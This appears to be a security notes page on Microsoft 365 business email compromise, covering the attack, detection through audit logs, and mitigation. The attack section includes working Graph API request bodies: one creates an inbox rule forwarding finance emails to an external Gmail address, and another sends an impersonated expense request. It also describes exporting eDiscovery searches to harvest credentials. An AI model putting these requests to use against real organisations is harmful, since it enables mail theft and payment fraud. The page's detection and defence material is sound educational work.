# M365 Business Email Compromise

## What Is BEC (Business Email Compromise)?



{% embed url="https://github.com/PwC-IR/Business-Email-Compromise-Guide/blob/main/PwC-Business_Email_Compromise-Guide.pdf" %}

## Attack

Once an attacker gains access to a compromised mailbox, they may further perform actions on objectives like:

* Grant permissions to mailboxes
* Malicious forwarding rules
* Creating new users
* OAuth abuse
* Disabling audit logging
* Abuse of eDiscovery (search for emails and exfiltrate them)
* Credential pilfering
* Recon on security incident



### Example attack flow

Ability to perform these actions depends on the amount of permissions an account has:

* Read emails on account
* Run eDiscovery search for keywords "salary" or "bonus" in the title.
* Create forwarding rule to send emails with "invoice" or "finance keywords to third-party mailbox and mark them as read.
* Add "sendas" permission to users (requires admin privs)
* Add member to a role i.e. Exchange Administrator (requires admin privs)



### Leveraging Graph API for BEC

{% embed url="https://developer.microsoft.com/en-us/graph/graph-explorer" %}
GUI GraphAPI view
{% endembed %}

{% embed url="https://learn.microsoft.com/en-us/powershell/microsoftgraph/get-started?view=graph-powershell-1.0" %}
PowerShell Graph API&#x20;
{% endembed %}

{% embed url="https://learn.microsoft.com/en-us/graph/api/overview?view=graph-rest-1.0" %}
All available API requests
{% endembed %}

Some actions require administrative consent:

* Adding members to groups

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FkxdtfxKBWeBwwn5wyDq8%2Fimage.png?alt=media&#x26;token=fdc23d62-5a63-47ad-bc8c-daa36d8a38a0" alt=""><figcaption></figcaption></figure>

### Creating Malicious Inbox Rule

The following rule will forward any email containing finance keywords to be forwarded to a malicious gmail account.&#x20;



Send post request to:

* [https://graph.microsoft.com/v1.0//me/mailFolders/inbox/messageRules](https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules)

Body of POST request:

<pre class="language-json"><code class="lang-json"><strong>{
</strong>    "displayName": "sussy bussy",
    "sequence": 2,
    "isEnabled": true,
    "conditions": {
        "subjectContains": [
          "invoice",
          "banking",
          "finance",
          "accounting"
        ]
     },
     "actions": {
        "forwardTo": [
          {
             "emailAddress": {
                "name": "abe lincan",
                "address": "noahrincon0@gmail.com"
              }
           }
        ],
        "stopProcessingRules": true
     }
}
</code></pre>



### Send an email as another user

Must be an administrative user and assign the "Send on behalf of permission" to the compromised user account. In the below screenshots, Bob Jones will be able to send emails on behalf of Alex Wilber.&#x20;

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2F5Quysl8zZHcgRhyKEio4%2Fimage.png?alt=media&#x26;token=e6d831e8-369a-479d-9f34-92eb57579745" alt=""><figcaption><p>Navigate to assign</p></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FR3GFEtz9nu9Jc5PpMk65%2Fimage.png?alt=media&#x26;token=28ba3b57-2da9-4e27-9dae-424bdb34b63d" alt=""><figcaption><p>Assigned</p></figcaption></figure>

Impersonate users with SendAs function.

* POST Request: [https://graph.microsoft.com/v1.0/me/sendMail](https://graph.microsoft.com/v1.0/me/sendMail)

Request body:

```json
{
    "message": {
        "subject": "Expenses Requried",
        "body": {
            "contentType": "Text",
            "content": "Please expense this request, it is urgent."
        },
        "toRecipients": [
            {
                "emailAddress": {
                    "address": "LeeG@vk1zm.onmicrosoft.com"
                }
            }
        ],
        "from": {
            "emailAddress": {
                "address": "AlexW@vk1zm.onmicrosoft.com"
            }
        }
    }
}
```



### Leverage eDiscovery to Search&#x20;

Navigate to the Purview Compliance portal: [https://compliance.microsoft.com/homepage](https://compliance.microsoft.com/homepage)



This will allow you to create a case and search with coniditions through Exchange, Yammer, Teams, SharePoint, OneDrive, etc. Useful for pilfering for credentials or reading contents of emails.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FT8mjySBKQzfwrrd10fq2%2Fimage.png?alt=media&#x26;token=4d94a5b8-2a24-4904-b158-4f71986df8fd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2Fy8zHitE7M81dBT7j1U3C%2Fimage.png?alt=media&#x26;token=bf928a27-1419-4cf1-bf29-8aa1c567a24a" alt=""><figcaption></figcaption></figure>



Create a search in eDiscovery and export results.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FvGPLPEZW0xHyiib9iHu8%2Fimage.png?alt=media&#x26;token=5d57e878-f45b-4fd4-b3d5-ded6df995eea" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FF5jiygGhqkQgucvtYZok%2Fimage.png?alt=media&#x26;token=6a988986-b190-4103-80c1-90ba0ffdb45d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FqtpyVZ32GNZ3UYoveUCb%2Fimage.png?alt=media&#x26;token=982e80a1-bfb4-457d-ac79-8bb85784d109" alt=""><figcaption></figcaption></figure>

## Detect

### What logs are available?

Primary:

* UAL
* Azure Audit Logs
* Sign-Ins
* Azure Activity Logs
* Message Tracing Logs

Secondary:

* Azure AD Provisioning Logs
* Azure Resource Logs (needs to be enabled).
* Diagnostic Logs
* Security Reports



**Log Retention**:

| Log Source         | Azure AD Free | Azure AD P1                                | Azure AD P2                                |
| ------------------ | ------------- | ------------------------------------------ | ------------------------------------------ |
| Audit Logs         |  7 Days       | 30 Days                                    | 30 Days                                    |
| Sign In Logs       |  7 Days       | 30 Days                                    | 30 Days                                    |
| Unified Audit Logs | 30 Days       | Up to 1 year depending on retention policy | Up to 1 year depending on retention policy |

Best to push these logs into SIEM, Sentinel, or external account to keep evidence.



### Emails Accessed

UAL Operations:

* MailItemsAccessed: Messages read or accessed (only logged for e5 licenses).
* FileAccessed: User accesses file on sharepoint or onedrive.



Find MailItemsAccessed log and input it in explorer or message trace to find specific email.&#x20;

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FLdySEDQRDsRgLwECAkEh%2Fimage.png?alt=media&#x26;token=b6240984-3e12-4601-8317-2f649a5a3665" alt=""><figcaption><p>Check path to see the directory of the message</p></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FFVvMYxD8rZaCsvzdgXAy%2Fimage.png?alt=media&#x26;token=2c0d944d-91a6-4354-bcbe-268e8dfe2bb0" alt=""><figcaption></figcaption></figure>

### Ediscovery

UAL Operations:

* SearchStarted/SearchCreated: Content search was started
* SearchExported: Results were exported
* SearchExportDownloaded: Export was downloaded
* SearchPreviewed/PreviewItemListed: Previewed search results
* SeachRemoved: Search was deleted
* CaseAdded/Removed: Case management in eDiscovery.

Admin must give permission to user for them to use eDiscovery.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2Fz0cY3fwkK9kk9uxea68l%2Fimage.png?alt=media&#x26;token=d8c5008d-34e1-40a4-a4f3-5600ff4bbba1" alt=""><figcaption></figcaption></figure>

Microsoft alerts on this activity.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FiKc2yjahukHpHMVHx0Cj%2Fimage.png?alt=media&#x26;token=3a8abb92-da27-4653-a344-8bfb733e99b3" alt=""><figcaption></figcaption></figure>

### Email Forwarding Rules

UAL Operations:

* New-InboxRule - Inbox Rule Created
* Set-InboxRule - User modified inbox rule using OWA
* UpdateInboxRule - Inbox rule was modified, deleted, created by mailbox owner
* Move - Message was moved to another folder

By default, forwarding rules are disabled by Microsoft's "scure by default" principles. Most companies have reenabled this.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2Fsc0w0aPB87wfazICeiFY%2Fimage.png?alt=media&#x26;token=4cd7f421-37cd-4524-801b-69c117eb60ec" alt=""><figcaption></figcaption></figure>

### Exchange Permission Abuse:

SendOnBehalf and accessing mailboxes require Admin privs.



UAL Operations:

* Add-MailboxPermission - Admin assigned FullAccess mailbox permission to user allowing them to read/manage another inbox.
* AddFolderPermission/UpdateFolderPermission - Allows user to access a folder and the message/mail within it.
* SendAs - Message was sent using SendAs permission
* SendOnBehalf - Message sent with SendOnBehalf permission

Message sent to nebula from AlexW (on behlaf of AlexW).

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2F1Gbx5s1Wy1jPnnDQLYs4%2Fimage.png?alt=media&#x26;token=9b48c20c-5365-4301-b957-f6feda145aad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FEqmdcvNyv7jetU6yoAHS%2Fimage.png?alt=media&#x26;token=94ef2998-0ea7-4319-b19e-8b13bfc2ab3c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FZe024iJ2sIgkxyHOdbOv%2Fimage.png?alt=media&#x26;token=63f48cf4-bf4e-4f84-b11f-bb968e590fed" alt=""><figcaption></figcaption></figure>

IDs at the end are object IDs for users. Malicious user was granted permissions to SendOnBehalf of another user. Trustee is able to send on behalf of Identity.

```
[
    {
        "Name": "Identity",
        "Value": "NAMPR16A009.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/vk1zm.onmicrosoft.com/d8d0fe46-8005-4853-98bb-f8c233a826f6"
    },
    {
        "Name": "Trustee",
        "Value": "NAMPR16A009.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/vk1zm.onmicrosoft.com/10b46204-5dac-441a-8b07-3ea8d6605984"
    },
    {
        "Name": "AccessRights",
        "Value": "SendAs"
    }
]
```



### BEC Persistence:

Azure Audit Logs Operations:

Requires admin privs to all:

* Add member to role - Added a user to an admin role in m365
* Add member to group - Added a user to a group in Azure AD
* Updated group - Updating property on a group
* Add service principal credentials - Adding a secret to a service principal in Azure AD





## Mitigate

### Proactive Steps

* Ensure MFA is enabled on all accounts, if an account is compromised reset the password and token.
* Enforce strong password policy.
* Forward all M365/Azure logs to a SIEM.
* Block any mail forwarding to an external domain
* Create alerting rules for permissions being granted to users/forwarding rules being created/new users being created.

### Disable Forwarding Rules to Outbound

This is turned off by default.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FNDLzOI2ZluZeKIFSVmE6%2Fimage.png?alt=media&#x26;token=d79b90b1-64f7-4aa0-85fb-3efa8ba6c3c0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FQhBcbd11cAFMeoK6Djpe%2Fimage.png?alt=media&#x26;token=eb44614c-46aa-4a35-b1d4-4723c81ae3ec" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FDorC3kyFIpngvAkY2Rma%2Fimage.png?alt=media&#x26;token=b498dfea-229d-4e30-9bfe-8f333bfbe9a6" alt=""><figcaption></figcaption></figure>
